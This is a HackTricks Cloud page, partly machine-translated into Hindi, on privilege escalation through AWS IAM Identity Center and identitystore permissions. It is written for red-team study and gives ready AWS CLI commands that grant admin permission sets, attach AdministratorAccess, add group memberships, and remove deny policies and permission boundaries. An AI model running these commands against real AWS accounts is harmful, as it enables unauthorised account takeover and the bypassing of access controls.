AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
AWS Identity Center / AWS SSO
For more information about AWS Identity Center / AWS SSO check:
AWS - IAM, Identity Center & SSO Enum
warning
ध्यान दें कि डिफ़ॉल्ट रूप से केवल Management Account के उन users को ही permissions मिलने पर IAM Identity Center को एक्सेस और control करने में सक्षम होंगे।
अन्य खातों के users केवल तभी ऐसा कर पाएँगे जब वह खाता एक Delegated Adminstrator. हो।
अधिक जानकारी के लिए दस्तावेज़ देखें.
Reset Password
ऐसे मामलों में privileges escalate करने का एक आसान तरीका ऐसा permission होना है जो users के passwords reset करने की अनुमति दे। दुर्भाग्यवश केवल user को password reset करने के लिए ईमेल भेजना संभव है, इसलिए आपको user के ईमेल तक पहुँच होना चाहिए।
identitystore:CreateGroupMembership
इस permission के साथ किसी user को किसी group में जोड़ना संभव है, जिससे वह group के सभी permissions inherit कर लेगा।
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
इस अनुमति वाला हमलावर उस Permission Set को अतिरिक्त अनुमतियाँ दे सकता है, जो उसके नियंत्रण वाले user को प्रदान की गई है।
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
इस अनुमति वाले हमलावर किसी user को दिए गए Permission Set को अतिरिक्त अनुमतियाँ प्रदान कर सकता है।
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
इस अनुमति वाले एक हमलावर उस नियंत्रण में मौजूद किसी user को दिया गया Permission Set में अतिरिक्त permissions दे सकता है।
warning
इस मामले में इन permissions का दुरुपयोग करने के लिए आपको उस customer managed policy का नाम जानना होगा जो प्रभावित होने वाले ALL accounts के अंदर मौजूद है।
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
इस अनुमति के साथ attacker अपने नियंत्रण वाले user को किसी account में एक Permission Set दे सकता है।
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
उपयोगकर्ता को असाइन किए गए एक दिए गए role name के लिए STS के अल्पकालिक क्रेडेंशियल्स लौटाता है।
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
हालाँकि, आपको एक access token की आवश्यकता है जिसे मैं कैसे प्राप्त करूँ यह निश्चित नहीं है (TODO)।
sso:DetachManagedPolicyFromPermissionSet
इस अनुमति वाले attacker निर्दिष्ट permission set से AWS managed policy के बीच के एसोसिएशन को हटा सकते हैं। detaching a managed policy (deny policy) के जरिए और अधिक privileges प्रदान करना संभव है।
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
इस अनुमति वाले हमलावर निर्दिष्ट permission set से ग्राहक-प्रबंधित नीति के बीच संबंध हटा सकते हैं। अधिक अधिकार प्रदान करना संभव है प्रबंधित नीति को अलग करके (deny policy)।
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
इस permission के साथ एक attacker permission set के किसी inline policy से permissions को remove कर सकता है। यह संभव है कि more privileges via detaching an inline policy (deny policy) दिए जा सकें।
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
इस permission के साथ एक attacker permission set से Permission Boundary को हटा सकता है। Permission Boundary द्वारा दिए गए Permission Set पर प्रतिबंध हटाकर अधिक privileges प्रदान किए जा सकते हैं।
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud